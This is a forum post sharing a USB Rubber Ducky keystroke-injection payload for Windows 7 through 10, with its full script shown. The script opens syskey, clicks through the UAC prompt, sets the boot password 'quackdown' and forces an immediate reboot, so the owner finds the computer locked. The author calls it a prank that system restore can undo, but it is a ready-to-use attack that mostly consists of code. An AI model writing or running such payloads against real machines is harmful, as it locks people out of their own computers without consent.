Jump to content

[PAYLOAD] Syskey and Reboot


DarkHigh
 Share

Recommended Posts

This is my first contribution as I am brand new to RubberDucky, This payload sets the syskey password and requires password on reboot. The password is sets is "quackdown" . After setting the password it will force a reboot resulting in a locked computer. This is just a prank and can be fixed with system restore or you can just disable the password requirement by running syskey again. Total execute time should be right at 25 seconds. 

ducky_code.txt

inject.bin

Link to comment
Share on other sites

This works on Win 7/8/8.1/10 I uploaded with builtin forum tools. Here is the contents. Sorry for not specifying OS. 

 

REM |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
REM ||||||||||||||||||||||| SYSKEY  AND  REBOOT |||||||||||||||||||
REM |||||||||||||||||||||||| Made by DarkHigh |||||||||||||||||||||
REM |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

REM Delay 3 seconds for device initialization
DELAY 3000
DEFAULT_DELAY 250

REM go to desktop
GUI d
DELAY 250

REM Open the run command type syskey and hit enter
GUI r
DELAY 500
STRING syskey
ENTER
DELAY 500

REM Click yes on UAC if its on
ALT y

REM Configure syskey to use password to boot and set password as quackdown
DELAY 500
STRING u
DELAY 250
STRING p
DELAY
STRING w
DELAY
STRING quackdown
TAB
DELAY
STRING quackdown
DELAY
ENTER
DELAY
DELAY
ENTER

REM ok now lets reboot the system
GUI r
DELAY 500
STRING CMD
ENTER
DELAY 500
STRING shutdown /r /f /t 0
ENTER
DELAY

REM exit cmdprompt to wait on restart
STRING exit
ENTER

 

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...